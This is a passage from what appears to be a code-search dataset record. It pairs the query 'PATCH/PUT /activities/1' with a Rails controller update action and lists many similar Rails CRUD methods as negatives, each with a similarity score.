format.json { render :show, status: :created, location: @opportunity }\n else\n @activities = Activity.all\n @sub_activities = []\n format.html { render :new }\n format.json { render json: @opportunity.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_activity(activity)\n self.activities << activity\n end", "def activity_params\n params.require(:activity).permit(:content, :start, :title, :title_id)\n end", "def activity(params={})\n Endpoints::Activity.new(self).get(params)\n end", "def create\n @course = Course.find(params[:course_id])\n @activity = @course.activities.build(params[:activity])\n @participants = @activity.participants.collect\n @activity.participants = []\n respond_to do |format|\n if @activity.save\n save_participants\n format.html { redirect_to( course_path(params[:course_id]), :notice => 'Lista de presença salva com sucesso') }\n format.xml { render :xml => @activity, :status => :created, :location => @activity }\n else\n @javascript_hash = @course.participants_as_javascript_hash\n 80.times { @activity.participants.build }\n format.html { render :action => \"new\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.7249106", "0.70048165", "0.6964346", "0.6956599", "0.69475126", "0.6929332", "0.69046366", "0.6889496", "0.6862793", "0.6838635", "0.68081975", "0.68079776", "0.68079776", "0.6798919", "0.677082", "0.6740217", "0.67014927", "0.6675203", "0.6665923", "0.6659741", "0.66497296", "0.66260356", "0.66255397", "0.6625307", "0.6618906", "0.6608279", "0.6597215", "0.6572306", "0.6548478", "0.6545597", "0.654504", "0.6531478", "0.6531478", "0.6525069", "0.65126884", "0.64865255", "0.6478666", "0.6473505", "0.64526296", "0.64259535", "0.6421336", "0.64114636", "0.6405053", "0.63795096", "0.6373347", "0.63450116", "0.6337208", "0.6336257", "0.63160855", "0.631069", "0.63106066", "0.6306154", "0.62985283", "0.6296367", "0.6275596", "0.6270746", "0.6268673", "0.62586695", "0.6258483", "0.62326264", "0.6231441", "0.62267804", "0.62261266", "0.6221256", "0.6197047", "0.61817104", "0.61811554", "0.61788964", "0.61750215", "0.6166878", "0.6164684", "0.61633086", "0.61566573", "0.6117561", "0.610921", "0.6105447", "0.6104091", "0.60982573", "0.60947186", "0.60938215", "0.60938215", "0.60757643", "0.60684997", "0.6066601", "0.60618585", "0.6033479", "0.6031145", "0.6029268", "0.60185343", "0.6017789", "0.6012027", "0.60031873", "0.59959805", "0.59913605", "0.59872144", "0.59859747", "0.59781975", "0.59690434", "0.596817", "0.59595513" ]
0.68420047
9
PATCH/PUT /activities/1 PATCH/PUT /activities/1.json
def update respond_to do |format| if @activity.update(activity_params) format.html { redirect_to activities_path, notice: 'Activity was successfully updated.' } format.json { render :show, status: :ok, location: @activity } else format.html { render :edit } format.json { render json: @activity.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n @activity.status = Activity::SETTED if @activity.setting?\n if @activity.update(activity_params)\n format.html { redirect_to activities_url, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # make sure that user have access to activity else raise execption\n current_user.user_activities.find(params[:id])\n \n # re query from database beacuse user_activities call have joins operation that make the record readony\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to activity_path(@activity), notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:success] = 'Activity was successfully updated.'\n format.html { redirect_to activities_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to current_user, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # only the owner can edit his / her activity\n if current_user.id == @activity.user_id\n respond_to do |format|\n if @activity.update(activity_params)\n format.json { render :json => {:success=>true, :message=>\"Activity was successfully updated.\"} }\n else\n format.json { render :json => {:success=>false, :message=>\"Something went wrong. Could not update activity.\"} }\n end\n end\n else\n respond_to do |format|\n format.json { render :json => {:success=>false, :message=>\"You are not the owner of this activity.\"} }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to activities_path, notice: 'Exercise event was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to project_activity_url(@project, @activity), notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n \n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to activities_path }\n format.xml { render :nothing => true }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors.to_xml }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.where(:user_id => current_user.id).find(params[:id])\n\n respond_to do |format|\n if params[:activity][:force_update]\n \n params[:activity][:force_update] = nil\n @activity.completed = params[:activity][:completed]\n \n if @activity.save(:validate => false)\n flash[:success] = \"Activity updated\"\n format.html { redirect_to(request.env[\"HTTP_REFERER\"]) }\n format.xml { head :ok }\n end\n \n elsif @activity.update_attributes(params[:activity])\n flash[:success] = \"Activity updated\"\n \n format.js { render :text => 'OK' }\n format.html { redirect_to( activities_path , :success => 'Activity updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.js { render :text => 'KO' }\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n format.json { render :json => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n if @activity.nil?\n send_error_json( @activity.id, \"Param 'activity' missing\", 400)\n return\n end\n\n fav = true\n if params['activity'].nil? || params['activity']['favourite'].nil? || params['activity']['favourite']=='false'\n fav = false\n end\n update_hash = {:favourite => fav}\n\n if params['activity'] && params['activity']['intensity']\n update_hash[:intensity] = params['activity']['intensity'].to_f\n end\n\n if params['activity'] && params['activity']['group']\n update_hash[:group] = params['activity']['group']\n end\n\n if params['activity'] && params['activity']['name']\n at = ActivityType.where(name: params['activity']['name']).first\n if !at.nil?\n update_hash[:activity_type_id] = at.id\n else\n send_error_json(@activity.id, \"Invalid activity type\", 400)\n return\n end\n end\n\n if @activity.update_attributes(update_hash)\n send_success_json(@activity.id)\n else\n send_error_json(@activity.id, @activity.errors.full_messages.to_sentence, 400)\n end\n\n end", "def update\n @breadcrumb = 'update'\n @activity = Activity.find(params[:id])\n @activity.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity,\n notice: (crud_notice('updated', @activity) + \"#{undo_link(@activity)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n #remove all existed contents first\n @activity.activity_contents.destroy_all\n activity_contents = JSON.parse(params[:activity][:activity_contents])\n activity_contents.each do |content|\n ActivityContent.create(activity_id: @activity.id,\n sport_option: content[\"sport_option\"],\n quantity: content[\"quantity\"])\n end\n format.html {redirect_to @activity, notice: 'Activity was successfully updated.'}\n format.json {render :show, status: :ok, location: @activity}\n format.js {render 'users/create_activity'}\n else\n format.html {render :edit}\n format.json {render json: @activity.errors, status: :unprocessable_entity}\n format.js {render 'activities/create', layout: false, content_type: 'text/javascript'}\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to [:phone, @activity], notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_activity(id:, **args)\n params = parameters(args) do\n optional_params :subject, :type, :done, :due_date, :due_time, :duration, :user_id, :deal_id, :person_id, :participants, :org_id, :note\n end\n request(:put, \"activities/#{id}\", params)\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to [@group, @activity], notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to [@course, @learning_unit, @activity], notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # make sure that user have access to activity else raise execption\n # current_user.user_activities.find(params[:id])\n \n # re query from database beacuse user_activities call have joins operation that make the record readony\n @activity = Activity.find(params[:id])\n params[:activity][:date] = change_date_format(params[:activity][:date]) if !(params[:activity][:date]).blank?\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to activity_path(@activity), notice: 'Data was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n cancel = params[:commit] == \"Cancel\"\n @activity = Activity.find(params[:id])\n authorize @activity\n\n if params[:update_material_properties]\n # set the material_properties tags\n @activity.material_property_list = (params[:material_properties] || [])\n @activity.save\n end\n\n if params[:update_cohorts]\n # set the cohort tags\n @activity.set_cohorts_by_id(params[:cohort_ids] || [])\n @activity.save\n end\n\n if params[:update_grade_levels]\n # set the grade_level tags\n @activity.grade_level_list = (params[:grade_levels] || [])\n @activity.save\n end\n\n if params[:update_subject_areas]\n # set the subject_area tags\n @activity.subject_area_list = (params[:subject_areas] || [])\n @activity.save\n end\n\n if request.xhr?\n if cancel || @activity.update_attributes(params[:activity])\n render :partial => 'shared/activity_header', :locals => { :activity => @activity }\n else\n render :xml => @activity.errors, :status => :unprocessable_entity\n end\n else\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to activities_path(@activity_type.table_name, @activity.id), notice: \"#{@activity_type.name.humanize} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @activity }\n format.js { render :update }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n format.js { render :edit }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to(@activity, :notice => 'Activity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @activity_type = ActivityType.find(params[:id])\n\n respond_to do |format|\n if @activity_type.update_attributes(params[:activity_type])\n format.html { redirect_to @activity_type, notice: 'Activity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # render text: params\n respond_to do |format|\n if @activity.update(activity_params.merge(user_id: current_user.id))\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = I18n.t('activities.controller.Successfully_updated')\n format.html { redirect_to(activities_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @activity_item = ActivityItem.find(params[:id])\n\n respond_to do |format|\n if @activity_item.update_attributes(params[:activity_item])\n format.html { redirect_to @activity_item, notice: 'Activity item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n# format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.html { redirect_to \"/activities/nanjingstart\", notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \"\"\"\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:activity])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \"\"\"\n end", "def update\n @activity = Activity.find(params[:id])\n\n if params.has_key?('hidden-activity') and params['hidden-activity'].has_key?('tag_list')\n \tparams[:activity][:tag_list] = params['hidden-activity'][:tag_list]\n end\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n \n if @activity.created_at < 1.day.ago\n \tauthorize! :edit, @activity\n end\n end", "def update\n respond_to do |format|\n if @status_activity.update(status_activity_params)\n format.html { redirect_to @status_activity, notice: 'Status activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @status_activity }\n else\n format.html { render :edit }\n format.json { render json: @status_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n r = Reciever.where(\"name == ? \", activity_params[:reciever][:name].upcase)\n r.empty? ? @reciever = Reciever.new(name: activity_params[:reciever][:name].upcase) : @reciever = r.first\n\n respond_to do |format|\n if @activity.update(activity_params.except(:reciever))\n @reciever.save\n @reciever.activities << @activity\n format.html { redirect_to @activity, notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @my_activity = MyActivity.find(params[:id])\n\n respond_to do |format|\n if @my_activity.update_attributes(params[:my_activity])\n #format.html { redirect_to @my_activity, notice: 'My activity was successfully updated.' }\n #format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @step_activity = StepActivity.find(params[:id])\n\n respond_to do |format|\n if @step_activity.update_attributes(params[:step_activity])\n format.html { redirect_to @step_activity, notice: 'Step activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @step_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @workflow\n respond_to do |format|\n if @workflow.update(workflow_params)\n @workflow.create_activity(:update, owner: current_user) if @workflow.log_update_activity?\n format.html { redirect_to @workflow, notice: 'Workflow was successfully updated.' }\n format.json { render :show, status: :ok, location: @workflow }\n else\n format.html { render :edit }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @app = App.find(params[:app_id])\n @activity = @app.activities.find(params[:id])\n\n if params[:cancel_edit_activity_button]\n respond_to do |format|\n format.html do\n if request.xhr? \n render :partial => 'shared/activity', :locals => { :activity => @activity }\n else\n redirect_to apps_url\n end\n end\n \n format.xml { head :ok }\n end\n \n return\n end\n\n @vscm = Brazil::AppSchemaVersionControl.new(:vc_type => Brazil::AppSchemaVersionControl::TYPE_SUBVERSION, :vc_path => @app.vc_path, :vc_uri => ::AppConfig.vc_uri) \n @base_versions = @vscm.find_versions(params[:arg])\n @base_versions << Activity::NO_BASE_VERSION if @base_versions.count == 0\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html do\n if request.xhr?\n render :partial => \"shared/activity\", :locals => {:activity => @activity}\n else\n redirect_to app_activity_path(@app, @activity)\n end\n end\n format.xml { head :ok }\n else\n format.html do\n if request.xhr?\n render :action => \"edit\", :layout => false, :status => :unprocessable_entity\n else\n render :action => \"edit\"\n end\n end\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def update\n respond_to do |format|\n if @dev_activity.update(dev_activity_params)\n format.html { redirect_to @dev_activity, notice: 'The Development Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dev_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\t\tauthorize! :update, @activity\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n redirect = group_activity_path(@group, @activity)\n redirect = edit_group_activity_path(@group, @activity) if params.key?('commit-continue')\n\n format.html do\n redirect_to redirect\n flash_message(:info, I18n.t('activities.updated'))\n end\n format.json { render :show, status: :ok, location: @activity }\n else\n set_edit_parameters!\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit\n @activity = Activity.find(params[:id])\n @categories = Category.all\n respond_to do |format|\n format.json { render json: @activity }\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to team_activities_path(@team), notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n iwantmodal\n should_modal_be_open\n format.html { render action: 'index' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity_event = ActivityEvent.find(params[:id])\n\n respond_to do |format|\n if @activity_event.update_attributes(params[:activity_event])\n format.html { redirect_to @activity_event, notice: 'Activity event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@activity = Activity.find(params[:id])\n @activity = Activity.find_by_permalink(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to(@activity, :notice => 'Activity was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def edit_activity\n @activity = Activity.find(params[:id])\n end", "def update\n if @day.update(update_params)\n render json: @day, include: [:activities]\n else \n render json: @day.errors\n end\n end", "def update\n respond_to do |format|\n if @project_activity.update(project_activity_params)\n format.html { redirect_to @project_activity, notice: 'Project activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_activity }\n else\n format.html { render :edit }\n format.json { render json: @project_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @title = Title.find(activity_params[:title_id])\n @event = Event.find(@title[:event_id])\n @activity = Activity.new(activity_params)\n @title.activities << @activity\n \n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to \"/events/#{@event.id}\", notice: 'Activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity }\n else\n format.html { render :edit }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_activities!\n _, _, host, = URI.split url\n PublicActivity::Activity.where(trackable: self).update_all(\n parameters: {\n namespace_id: namespace.id,\n namespace_name: namespace.clean_name,\n webhook_url: url,\n webhook_host: host\n }\n )\n end", "def update\n respond_to do |format|\n if @google_account_activity.update(google_account_activity_params)\n format.html { redirect_to google_account_activities_path }\n response = {status: 200}\n format.json { render json: response, status: response[:status] }\n else\n format.html { render action: 'edit' }\n format.json { render json: @google_account_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_activity.update(user_activity_params)\n format.html { redirect_to @user_activity, notice: 'User activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_activity }\n else\n format.html { render :edit }\n format.json { render json: @user_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @recent_activity = RecentActivity.find(params[:id])\n\n respond_to do |format|\n if @recent_activity.update_attributes(params[:recent_activity])\n format.html { redirect_to @recent_activity, notice: 'Recent activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recent_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n @attcategories = Attcategory.find(:all)\n \n duration = params[:activity_hours].to_i * 60\n duration += params[:activity_minutes].to_i\n \n args = params[:activity].merge!({\"duration\" => duration})\n \n # Work around - initialize attributes to zero every\n # time before filling them back in\n @activity.update_attributes(:actattribute_ids => [])\n\n respond_to do |format|\n if @activity.update_attributes(args)\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n for i in 0..@activity.objectives.length()-1\n objective = @activity.objectives[i]\n objective.is_done = params[:objective][i.to_s()]\n objective.save!\n end\n format.html { redirect_to planslink_path(@activity.plan.family_group.id), notice: '¡Actividad actualizada!.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n respond_to do |format|\n if @type_activity.update(type_activity_params)\n format.html { redirect_to @type_activity, notice: 'Type activity was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_activity }\n else\n format.html { render :edit }\n format.json { render json: @type_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n cancel = params[:commit] == \"Cancel\"\n @external_activity = ExternalActivity.find(params[:id])\n authorize @external_activity\n\n if params[:update_material_properties]\n # set the material_properties tags\n @external_activity.material_property_list = (params[:material_properties] || [])\n @external_activity.save\n end\n\n if params[:update_cohorts]\n # set the cohort tags\n @external_activity.set_cohorts_by_id(params[:cohort_ids] || [])\n @external_activity.save\n end\n\n if params[:update_grade_levels]\n # set the grade_level tags\n @external_activity.grade_level_list = (params[:grade_levels] || [])\n @external_activity.save\n end\n\n if params[:update_subject_areas]\n # set the subject_area tags\n @external_activity.subject_area_list = (params[:subject_areas] || [])\n @external_activity.save\n end\n\n if params[:update_sensors]\n # set the sensor tags\n @external_activity.sensor_list = (params[:sensors] || [])\n @external_activity.save\n end\n\n if params[:update_projects]\n # set the projects\n @external_activity.projects = Admin::Project.where(id: params[:project_ids] || [])\n @external_activity.save\n end\n\n if params[:update_external_reports]\n # set the external reports\n @external_activity.external_report_ids= (params[:external_reports] || [])\n @external_activity.save\n end\n\n respond_to do |format|\n # allow for params[:external_activity] to not exist while other update_* params to update\n if !params[:external_activity] || @external_activity.update(external_activity_strong_params(params[:external_activity]))\n flash['notice'] = 'ExternalActivity was successfully updated.'\n # redirect to browse path instead of show page since the show page is deprecated\n format.html { redirect_to(browse_external_activity_path(@external_activity)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @external_activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_activity.update(user_activity_params)\n format.html { redirect_to @user_activity, notice: \"User activity was successfully updated.\" }\n format.json { render :show, status: :ok, location: @user_activity }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @user_activity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Attività aggiornata correttamente'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity_item.update(activity_item_params)\n format.html { redirect_to @activity_item, notice: 'Activity item was successfully updated.' }\n format.json { render :show, status: :ok, location: @activity_item }\n else\n format.html { render :edit }\n format.json { render json: @activity_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n format.html { redirect_to( course_path(params[:course_id]), :notice => 'Lista de presença salva com sucesso') }\n format.html { redirect_to(@activity, :notice => 'activity was successfully updated.') }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @activity = Activity.find(params[:id])\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n @activity.update_attribute(:enabled,params[:activity][:enabled])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to([:manage, @activity]) }\n format.xml { head :ok }\n else\n format.html { render :activity => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @activity.update(activity_params)\n flash[:success] = 'Activity was successfully updated.'\n correct_execution format, :ok\n else\n error_execution format, :edit\n end\n end\n end", "def update\n respond_to do |format|\n @old_ID = @asset.id\n asset_params[:id] = nil\n #get all activities from the asset and update their asset id\n @asset_activities = @asset.asset_activities\n if @asset = Asset.create(asset_params) \n #keep track of old assetID id for current asset\n format.html { redirect_to @asset, notice: 'Asset was successfully updated.' }\n format.json { head :no_content } \n #turn off current revision\n @old_revision_id = Revision.find_by(asset_id: @old_ID)\n #create revision record\n @new_revision = Revision.new()\n #inset new revision into table\n @new_revision.old_revision_id = @old_revision_id\n @new_revision.asset_id = @asset.id\n @new_revision.save()\n #update the activity ID that pertains to the asset ID\n 